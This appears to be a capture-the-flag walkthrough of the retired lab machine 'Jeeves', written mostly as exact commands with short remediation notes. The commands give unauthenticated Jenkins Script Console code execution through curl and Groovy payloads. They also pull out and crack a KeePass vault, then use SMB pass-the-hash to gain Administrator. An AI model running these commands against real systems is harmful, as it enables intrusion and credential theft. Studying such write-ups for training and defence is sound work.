Jeeves
Summary
I found a Jenkins CI server on TCP/50000 with its Groovy Script Console fully exposed — no login required to run arbitrary code on the Windows host. Jenkins' own CSRF-token endpoint was equally unauthenticated, so a single extra HTTP request supplied the crumb needed to silence the 403 error, giving immediate remote code execution as the Windows service account jeeves\kohsuke. The user flag was read directly through this channel without ever needing an interactive shell.
A filesystem search of the service account's profile turned up a KeePass 2 credential database, which was exfiltrated by encoding its bytes as Base64 over the same text-only RCE channel. The master password — a single common dictionary word — was cracked offline in under a minute, and the vault contained the built-in Administrator's NTLM hash in plain text. Supplying that hash directly to the SMB service (pass-the-hash) authenticated as full Administrator with no password cracking required.
The root flag was not in a normal file but concealed inside an NTFS Alternate Data Stream on the Administrator's desktop, retrieved with standard SMB tooling once administrative access was established.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <base64_output>, <crumb> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Version and script scan of the known open ports.
$ nmap -sV -sC -p 80,135,445,50000 $TARGET -oN jeeves_nmap.txtConfirm Jenkins is running on port 50000 at the /askjeeves/ context path.
$ curl -sS -D - -o /dev/null http://$TARGET:50000/askjeeves/Exact commands 2
Confirm the anonymous user is treated as Authenticated.
$ curl -sS "http://$TARGET:50000/askjeeves/whoAmI/"Confirm the Script Console is accessible without any credentials.
$ curl -sS "http://$TARGET:50000/askjeeves/script"FixEnable Jenkins authentication and restrict the Script Console to administratorsCritical
Exact commands 2
Fetch a valid CSRF crumb from the unauthenticated endpoint; note the crumb value and save the session cookie.
$ curl -sS -c /tmp/jeeves.cookies "http://$TARGET:50000/askjeeves/crumbIssuer/api/json"Replace <crumb> with the value from the previous response; output should be jeeves\kohsuke confirming RCE.
$ curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","whoami").redirectErrorStream(true).start().text'Exact commands 1
Use the crumb obtained in step 3; returns <user.txt>.
$ curl -sS -b /tmp/jeeves.cookies -H "Jenkins-Crumb: $HEX_ID" "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","type C:\\Users\\kohsuke\\Desktop\\user.txt").redirectErrorStream(true).start().text'Exact commands 3
Confirm CEH.kdbx exists on the target.
$ curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","dir C:\\Users\\kohsuke\\Documents").redirectErrorStream(true).start().text'Exfiltrate the KeePass database as Base64 text over the RCE channel; copy the output.
$ curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("powershell","-c","[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Users\\kohsuke\\Documents\\CEH.kdbx'))").redirectErrorStream(true).start().text'Paste the Base64 output from the previous command in place of <base64_output> to reconstruct the .kdbx file locally.
$ echo '<base64_output>' | base64 -d > /tmp/CEH.kdbxFixProtect credential vaults with strong master passwords and store them away from service account profilesHigh
Exact commands 3
Convert the database to a crackable hash format.
$ keepass2john /tmp/CEH.kdbx > /tmp/CEH.hashCrack the master password; result: <withheld>.
$ john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/CEH.hash --format=KeePassDump all vault entries; the Administrator entry reveals NTLM hash.
$ python3 -c "from pykeepass import PyKeePass; kp=PyKeePass('/tmp/CEH.kdbx', password='$PASSWORD'); [print(e.title, e.username, e.password) for e in kp.entries]"Exact commands 1
Confirm pass-the-hash authentication; look for Pwn3d! In the output.
$ nxc smb $TARGET -u Administrator -H $HASH -x whoami
Jeeves\AdministratorFixEliminate NTLM pass-the-hash exposure for privileged accountsCritical
Exact commands 2
List all metadata and named streams on hm.txt; look for a :root.txt stream in the output.
$ smbclient //$TARGET/C$ -U "Jeeves\Administrator%$HASH" --pw-nt-hash -c 'cd Users\Administrator\Desktop; allinfo hm.txt'Retrieve the hidden Alternate Data Stream; /tmp/root_ads.txt will contain <root.txt>.
$ smbclient //$TARGET/C$ -U "Jeeves\Administrator%$HASH" --pw-nt-hash -c 'cd Users\Administrator\Desktop; get hm.txt:root.txt /tmp/root_ads.txt'Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) |
| 50000/tcp | http Jetty 9.4.z-SNAPSHOT |